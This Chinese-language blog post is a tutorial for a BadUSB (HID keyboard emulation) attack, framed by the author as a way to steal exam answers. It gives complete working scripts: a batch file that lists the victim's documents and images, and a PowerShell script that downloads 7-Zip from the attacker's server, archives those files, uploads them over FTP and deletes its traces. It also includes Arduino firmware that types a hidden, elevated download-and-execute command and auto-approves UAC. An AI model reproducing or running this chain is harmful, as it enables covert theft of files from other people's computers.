0×01 引言

又到了期中考试了,我又要去偷答案了,一直发现远程下载运行exe的方式不太好,容易报毒所以这里打算用ps脚本。

0×02 关于HID

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

0×03 准备工具

一台外网主机(直接电脑接网线宽带拨号也可以)

一个HID攻击工具(烧鹅或者Badusb)

FTPserver(搭建一个FTP服务器用来接收窃取到的文件)

PHPstudy(搭建http服务器用来存放ps脚本等)

7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传,尽量减小上传速度)

0×04 代码部分(以下代码可能具有攻击性,请勿用于非法用途)

1.[get.bat](获取需要的文件存放位置,并保存到c:\temp.bat)[该代码存放于服务器http根目录下]

dir /s /a /b "%userprofile%\desktop\*.txt">c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\desktop\*.htl">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.txt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.doc">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.docx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlsx">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.ppt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xls">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.eet">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.et">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.xlt">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.pdf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.jpeg">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.png">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.bmp">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.gif">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.rtf">>c:\temp.bat
dir /s /a /b "%userprofile%\Documents\Tencent Files\*.htl">>c:\temp.bat

2.[get.ps1](清除运行记录,下载服务器中的7z.dll / 7z.exe / get.bat到c盘到相应位置,处理c:\temp.bat为7z压缩为c:\Ram.7z,上传c:\Ram.7z到FTP服务器根目录下,删除所有下载的文件!!!一共需要改4处IP地址!!!)[该代码存放于服务器http根目录下记得设置FTP服务器密码为admin admin]

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f;

(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.dll','c:\7z.dll');

(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/7z.exe','c:\7z.exe');

(New-Object System.Net.WebClient).DownloadFile('http://192.168.1.1/get.bat','c:\Users\Public\get.bat');

C:\Users\Public\get.bat;$array="";foreach($u in(get-content c:\temp.bat)){[array]$array +='c:\7z a -t7z c:\Ram.7z "'+$u+'"'};$array | Out-File -Encoding default c:\temp.bat;c:\temp.bat;

$fileinf=New-Object System.Io.FileInfo("C:\Ram.7z");

$ftp = [System.Net.FtpWebRequest] [System.Net.FtpWebRequest]::Create("ftp://192.168.1.1/"+$fileinf.name)

$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile

$ftp.Credentials = new-object System.Net.NetworkCredential("admin","admin")

$ftp.UseBinary = $true

$ftp.UsePassive = $true

$content = [System.IO.File]::ReadAllBytes($fileInf.fullname)

$ftp.ContentLength = $content.Length

$rs = $ftp.GetRequestStream()

$rs.Write($content, , $content.Length)

$rs.Close()

$rs.Dispose()

Remove-Item c:\temp.bat

Remove-Item c:\Ram.*

Remove-Item c:\7z.*

Remove-Item c:\Users\Public\get.*

3.[get.ino](以管理员权限下载get.ps1到本地c:\users\public目录!!!需要改1处IP地址!!!UAC闪过之后要记得拔出)[修改IP后直接刷入]

void setup() {//初始化

  Keyboard.begin();//开始键盘通讯 

  delay();//延时

  Keyboard.press(KEY_LEFT_GUI);//win键 

  delay(); 

  Keyboard.press('r');//r键 

  delay(); 

  Keyboard.release(KEY_LEFT_GUI);

  Keyboard.release('r');

  Keyboard.press(KEY_CAPS_LOCK);

  Keyboard.release(KEY_CAPS_LOCK);

  delay(); 

  Keyboard.println("POWERSHELL -NOP");

  delay();

  Keyboard.println();

  delay();

  Keyboard.println("START-PROCESS -fILEpATH POWERSHELL \" -NOP -W HIDDEN -C SET-eXECUTIONpOLICY rEMOTEsIGNED -FORCE;CD $ENV:PUBLIC;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE(\'HTTP://192.168.1.1/GET.PS1\',\'C:\\USERS\\PUBLIC\\GET.PS1\');./GET.PS1;EXIT\" -vERB RUNAS;EXIT");

  Keyboard.press(KEY_CAPS_LOCK);

  Keyboard.release(KEY_CAPS_LOCK);

  Keyboard.end();//结束键盘通讯 

}

void loop()//循环

{

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.press(KEY_LEFT_ALT);

  Keyboard.print('y');

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.release(KEY_LEFT_ALT);

  Keyboard.release(KEY_LEFT_ALT);

  delay();

}

HID高级攻击姿势:利用PowerShell脚本进行文件窃取的更多相关文章

  1. 利用SHELL脚本实现文件完整性检测程序(1.2版更新)

    一..开发背景 因时势所逼,需要对服务器的文件系统实行监控.虽然linux下有不少入侵检测和防窜改系统,但都比较麻烦,用起来也不是很称手.自己琢磨着也不需要什么多复杂的功能,写个脚本应该就可以满足基本 ...

  2. 利用shell脚本统计文件中出现次数最多的IP

    比如有如下文件test.txt 1  134.102.173.43 2  134.102.173.43 3  134.102.171.42 4  134.102.170.9 要统计出现次数最多的IP可 ...

  3. cocos2d-x 3.0 利用python脚本在文件夹Classes内创建class

    因为VS2012创建默认文件是在proj.win32下,新建类不在VS的classes于是编译时找不到类.直接写个脚本帮助新建类(cpp和h文件),还能够在里面加上一些预先写好的代码. 批处理文件Cr ...

  4. 利用python搭建Powersploit powershell脚本站点

    powershell脚本站点的搭建 一.Powersploit Powersploit是一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能. 下 ...

  5. 利用Nuget打包添加tools下intsall.ps1【powershell脚本】修改.csproj文件

    利用Nuget打包添加tools下intsall.ps1[powershell脚本]修改.csproj文件, 以设置1.项目-生成->输出->选择[XML文件文件] 2.项目->调试 ...

  6. 在 Snoop 中使用 PowerShell 脚本进行更高级的 UI 调试

    原文:在 Snoop 中使用 PowerShell 脚本进行更高级的 UI 调试 版权声明:本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可.欢迎转载.使用.重新发布, ...

  7. 利用 Powershell 编写简单的浏览器脚本

    生活中有很多事情是低效益,重复性.比如每天上某些网站,先登录再签到打卡,比如每隔一段时间清理回收站的文件等等.一个成熟的软件工程师应该想到用软件解决他. 对于这些简单的小任务,一般用脚本实现.比如Py ...

  8. 利用PowerShell复制SQLServer账户的所有权限

    问题 对于DBA或者其他运维人员来说授权一个账户的相同权限给另一个账户是一个很普通的任务.但是随着服务器.数据库.应用.使用人员地增加就变得很枯燥乏味又耗时费力的工作.那么有什么容易的办法来实现这个任 ...

  9. PowerShell 脚本中的密码

    引言 笔者在<PowerShell 远程执行任务>一文中提到了在脚本中使用用户名和密码的基本方式: $Username = 'xxxx' $Password = 'yyyy' $Pass ...

随机推荐

  1. 百度地图API首页 -- 鼠标经过:类似翻页效果和 类似锚点链接效果

    var timer; $("li").on("mouseover",function(){ clearTimeout(timer); timer=null; $ ...

  2. js(引用类型和setTimeout scope)

    题目是群中小伙伴出的. var a = [1,2,3]; c= a //todo 限制条件 c 不能出现在 = 左边 console.log(a) console.log(c) console.log ...

  3. 用过的正则(更新ing)

    http://www.debuggex.com/   这个很好用20120912 //十六进制颜色值的正则表达式 var reg = /^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6} ...

  4. [转载]Badboy使用教程

    Badboy-系列教程-资料整理: Badboy自动化测试工具1 界面介绍 http://leafwf.blog.51cto.com/872759/1107079 Badboy自动化测试工具2 录制 ...

  5. [转载]SOAPUI压力测试的参数配置

    原文地址:SOAPUI压力测试的参数配置作者:goooooodlife The different Load Strategies available in soapUI and soapUI Pro ...

  6. springMVC系统异常处理及自定异常处理

    配置系统异常处理器 1.后台模拟一个异常 @RequestMapping(value = "/myexception.do", produces = "text/html ...

  7. MASS批量维护

    T-CODE: MASS 批量更改MASS_CHARVAL 特征的批量维护MASS_EINE 信息记录的成批维护MASS_EKKO 采购订单的成批维护MASS_MARC 后勤/配送的成批维护MASS_ ...

  8. 5月5日 while、do{}while

    while .do{}while 一.while的死循环 while (1 == 1)//只要表达式里是true,就是死循环 { //循环内容 } 二.do{}while 不管while是否满足,首先 ...

  9. BZOJ1593 [Usaco2008 Feb]Hotel 旅馆

    裸上线段树,就是记的东西有点多... 每个点记区间左端最长0,右端最长0,中间最长0,和tag表示是否全为0/1 直接更新就好,查询的时候先查左儿子,然后查中间,最后查右儿子... /******** ...

  10. BZOJ1066 [SCOI2007]蜥蜴

    首先...这是道(很水的)网络流 我们发现"每个时刻不能有两个蜥蜴在同一个柱子上"这个条件是没有用的因为可以让外面的先跳,再让里面的往外跳 但是还有柱子高度的限制,于是把柱子拆点为 ...